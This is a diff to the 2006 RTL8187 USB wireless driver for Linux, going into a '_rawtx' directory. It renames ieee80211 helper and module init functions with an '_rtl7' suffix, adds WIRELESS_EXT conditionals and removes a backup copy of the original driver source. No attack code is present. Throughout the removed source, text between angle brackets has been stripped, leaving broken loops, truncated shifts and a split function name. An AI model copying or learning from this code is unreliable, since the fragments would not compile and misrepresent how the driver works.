usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - 